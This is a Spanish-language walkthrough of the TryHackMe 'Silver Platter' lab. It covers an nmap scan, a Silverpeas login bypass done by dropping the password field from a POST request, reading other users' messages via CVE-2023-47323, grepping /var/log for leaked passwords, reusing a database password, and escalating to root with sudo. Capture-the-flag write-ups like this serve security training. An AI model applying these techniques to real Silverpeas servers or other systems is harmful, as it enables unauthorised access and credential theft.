TryHackMe - Silver Platter (Bandeja de plata)
Un desafío muy divertido en el que explotamos una vulnerabilidad de inicio de sesión en la aplicación Silverpeas
Introducción
Sala bastante divertida en la que explotamos una vulnerabilidad de inicio de sesión en la aplicación Silverpeas y luego explotamos otro CVE para obtener indicadores de usuario y root.
¿Crees que tienes lo que hace falta para ser más astuto que el equipo de seguridad de Hack Smarter? Afirman ser invencibles y ahora es tu oportunidad de demostrarles que están equivocados. Sumérgete en su servidor web, encuentra las banderas ocultas y muéstrale al mundo tus habilidades de hacker de élite. ¡Buena suerte y que gane el mejor hacker!
Pero cuidado, esto no será un paseo por el parque digital. Hack Smarter Security ha reforzado el servidor contra ataques comunes y su política de contraseñas exige contraseñas que no hayan sido violadas (las verifican con la lista de palabras rockyou.txt
; así de “geniales” son). El desafío de la piratería ya está en juego y es hora de mejorar tu juego. Recuerda, solo los más ingeniosos llegarán a la cima.
¡Que tu código sea rápido, tus hazañas impecables y la victoria tuya!
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_ 256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open http-proxy
|_http-title: Error
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Sun, 16 Feb 2025 20:12:10 GMT
| <html><head><title>Error</title></head><body>404 - Not Found</body></html>
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Sun, 16 Feb 2025 20:12:09 GMT
Desde el nmap podemos ver los puertos disponibles
22/tcp
80/tcp
8080/tcp
Reconocimiento
Revisando la página de contacto podemos ver un posible nombre de usuario y una aplicación llamada Silverpeas:
Una búsqueda rápida en Google nos dará la información importante
Silverpeas utiliza de forma predeterminada la página de inicio de sesión ubicada en http://localhost:8080/silverpeas
, así que probémosla
Nos redirecciona directamente a la página de inicio de sesión:
Una búsqueda rápida en Google y encontramos una posible vulnerabilidad relacionada con la página de inicio de sesión:
Puede encontrar más información sobre la vulnerabilidad aquí: https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d
Después de buscar en Google el nombre de usuario predeterminado para Silverpeas, podemos encontrar que es SilverAdmin
Interceptar una solicitud HTTP a través de BurpSuite
Intentemos crear una solicitud POST http a través de BurpSuite:
Solicitud original:
Solicitud modificada después de eliminar el campo Password
:
Hemos iniciado sesión como administrador
Después de realizar otra búsqueda en Google sobre las vulnerabilidades de Silverpeas, encontramos https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323
Básicamente, podemos leer cualquier mensaje bajo: http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]
Después de varios intentos, encontramos con éxito un mensaje con ID6:
Inicio de sesión SSH
Entonces podemos usar estas credenciales para iniciar sesión a través de ssh como usuario “tim”
1
2
nombre de usuario: tim
contraseña: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
Y podemos conseguir la bandera:
Al verificar las membresías del grupo podemos ver que tim es parte del grupo adm:
1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
Después de ejecutar el siguiente comando podemos encontrar los registros con la contraseña de la base de datos:
1
2
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null
1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/
Probemos la combinación de usuario y contraseña de la base de datos:
1
2
3
tim@silver-platter:~$ su tyler
Password:
tyler@silver-platter:/home/tim$
Ahora al verificar las membresías del grupo, tenemos muchos más privilegios:
1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
Ahh, no importa, ya tenemos acceso sudo:
1
2
3
4
5
6
7
8
9
10
11
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler:
Matching Defaults entries for tyler on silver-platter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User tyler may run the following commands on silver-platter:
(ALL : ALL) ALL
tyler@silver-platter:/home/tim$
Ahora podemos cambiar a root usando sudo:
1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim#
Bandera Root
Y encuentra la bandera root: